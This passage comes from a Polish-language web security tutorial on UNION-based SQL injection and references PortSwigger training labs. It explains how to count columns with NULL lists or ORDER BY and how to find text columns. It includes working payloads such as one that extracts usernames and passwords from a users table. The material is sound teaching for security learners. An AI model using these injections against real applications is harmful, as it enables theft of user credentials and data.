&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data"target="_blank" rel="noopener">Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>W tym przypadku nie otrzymaliśmy wprawdzie dostępu do czyjegoś konta, ale wyświetliły się nam produkty, których z poziomu graficznego interfejsu strony nie można było na niej znaleźć.&lt;/p>
&lt;h2>UNION based SQL injection&lt;span class="hx:absolute hx:-mt-20" id="union-based-sql-injection">&lt;/span>
&lt;a href="#union-based-sql-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wstrzyknięcie oparte o operator &lt;a href="https://www.w3schools.com/sql/sql_union.asp"target="_blank" rel="noopener">&lt;code>UNION&lt;/code>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> pozwala na połączenie dwóch zapytań &lt;code>SELECT&lt;/code> do dwóch różnych tabel w jeden wynik, np.:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">cats&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">dogs&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W powyższym przykładzie wynikiem będą imiona zarówno kotów jak i psów.&lt;/p>
&lt;p>Załóżmy, że strona ma bazę książek, z której aplikacja pobiera ich tytuł i autora filtrując po danej kategorii:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;$category&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Możemy zastosować payload: &lt;code>' union select username, password from users -- -&lt;/code>, a kwerenda przyjmie postać:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dzięki temu oprócz informacji o książkach dostaniemy nazwy i hasła użytkowników serwisu.&lt;/p>
&lt;blockquote>
&lt;p>W języku SQL wielkość liter w słowach kluczowych nie ma znaczenia, tzn. możemy pisać zarówno &lt;code>SELECT&lt;/code> jak i &lt;code>select&lt;/code>.&lt;/p>
&lt;/blockquote>
&lt;p>Możemy też wykluczyć z wyniku zapytania informacje o książkach dodając spójnik logiczny &lt;em>and&lt;/em> wraz z warunkiem, który zawsze jest nieprawdziwy:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">AND&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dzięki temu w wyniku otrzymamy wyłącznie nazwy użytkowników i ich (przeważnie &lt;a href="https://delinea.com/blog/how-do-passwords-work"target="_blank" rel="noopener">zahaszowane&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>) hasła.&lt;/p>
&lt;p>Aby ten typ ataku powiódł się, muszą zostać spełnione dwa warunki:&lt;/p>
&lt;ul>
&lt;li>w obu zapytaniach &lt;code>select&lt;/code> musi być zwracana taka sama liczba kolumn,&lt;/li>
&lt;li>typy danych w odpowiadających sobie kolumnach muszą być zgodne.&lt;/li>
&lt;/ul>
&lt;h2>Znajdowanie ilości kolumn zwracanych przez zapytanie&lt;span class="hx:absolute hx:-mt-20" id="znajdowanie-ilości-kolumn-zwracanych-przez-zapytanie">&lt;/span>
&lt;a href="#znajdowanie-ilo%c5%9bci-kolumn-zwracanych-przez-zapytanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Przed wydobyciem jakichkolwiek danych musimy odgadnąć, ile kolumn zwraca zapytanie do bazy danych ze względu na to, jak działa klauzula &lt;code>UNION SELECT&lt;/code>. Można to zrobić na dwa sposoby.&lt;/p>
&lt;p>Pierwszy z nich polega na podawaniu w ramach wyżej wymienionej klauzuli określonej liczby wartości &lt;code>NULL&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Za mała lub za duża liczba tych wartości spowoduje błąd, dzięki czemu możemy stwierdzić, jaka jest ich odpowiednia liczba, a co za tym idzie - jaka jest liczba kolumn zwracanych przez oryginalną kwerendę. Należy sprawdzać po kolei, jaka liczba wartości &lt;code>null&lt;/code> nie spowoduje błędu bazy danych.&lt;/p>
&lt;p>&lt;img src="./union_col_num_err.png" alt="Znajdowanie liczby zwracanych kolumn - błąd" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns"target="_blank" rel="noopener">Lab: SQL injection UNION attack, determining the number of columns returned by the query&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>&lt;img src="./union_col_num_success.png" alt="Znajdowanie liczby zwracanych kolumn - trzy kolumny" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns"target="_blank" rel="noopener">Lab: SQL injection UNION attack, determining the number of columns returned by the query&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>W tym miejscu warto zwrócić uwagę na różnice między systemami bazodanowymi. W bazach Oracle przy wyrażeniu &lt;code>SELECT&lt;/code> wymagane jest użycie klauzuli &lt;code>FROM&lt;/code>. W bazach danych Oracle istnieje również specjalna tabela &lt;a href="https://docs.oracle.com/cd/B14117_01/server.101/b10759/queries009.htm"target="_blank" rel="noopener">&lt;code>DUAL&lt;/code>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Można ją wykorzystać, jeśli nasze zapytanie (tak jak w powyższym przykładzie) nie pobiera żadnych konkretnych kolumn, na przykład:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">SUBSTR&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;ala ma kota&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">dual&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Inną metodą pozyskiwania informacji o ilości zwracanych kolumn jest użycie słów kluczowych &lt;code>ORDER BY&lt;/code>. Rozważmy zapytanie z payloadem &lt;code>' ORDER BY 1 -- -&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ORDER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">BY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Spowoduje to posortowanie wyników w oparciu o pierwszą kolumnę. Możemy podawać numery 1, 2, 3 itd. Jeśli numer kolumny, po której będziemy chcieli w tej kwerendzie sortować, będzie większy od ilości zwracanych kolumn to wystąpi błąd. Zaletą tej metody jest to, że możemy w naszych zgadywaniach wykorzystać &lt;a href="https://www.geeksforgeeks.org/binary-search/"target="_blank" rel="noopener">wyszukiwanie binarne&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, aby przyspieszyć proces znajdowania liczby, która nas interesuje.&lt;/p>
&lt;p>&lt;img src="./union_col_num_order.png" alt="Znajdowanie liczby zwracanych kolumn z użyciem ORDER BY" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns"target="_blank" rel="noopener">Lab: SQL injection UNION attack, determining the number of columns returned by the query&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Znajdowanie kolumny zawierającej tekst&lt;span class="hx:absolute hx:-mt-20" id="znajdowanie-kolumny-zawierającej-tekst">&lt;/span>
&lt;a href="#znajdowanie-kolumny-zawieraj%c4%85cej-tekst" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Znając już liczbę zwracanych z bazy kolumn można sprawdzać, jakie typy danych przyjmują poszczególne z nich. Najczęściej będzie nas interesować tekst, dlatego warto przed próbą wydobycia zawartości bazy sprawdzić, w których kolumnach można go umieścić, ponieważ nie wszystkie mogą akceptować tekst lub nie wszystkie są zwracane do przeglądarki, przez co nie są dla nas użyteczne.&lt;/p>
&lt;p>Możemy wykorzystać payload z pierwszej metody znajdywania ilości kolumn, tylko zamieniać po kolei wartości &lt;code>NULL&lt;/code> na wartość tekstową i sprawdzać kiedy występuje błąd, a kiedy nie, na przykład &lt;code>' UNION SELECT 'abc', NULL -- -&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">UNION&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;abc&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jeśli nie wystąpi, to znaczy, że typy danych są zgodne.&lt;/p>
&lt;p>Rozważmy inny przykład zapytania:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">price&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">author&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">books&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">category&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;$category&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Kolumna &lt;code>price&lt;/code> zawiera wartość liczbową. W przypadku wstrzyknięcia kodu &lt;code>' UNION SELECT 'abc', NULL, NULL -- -&lt;/code> wystąpi błąd bazy danych związany z użyciem niezgodnych typów, jednak gdy wstrzykniemy &lt;code>' UNION SELECT NULL, 'abc', NULL -- -&lt;/code> aplikacja zwróci wynik zawierający tekst &lt;em>abc&lt;/em>.&lt;/p>
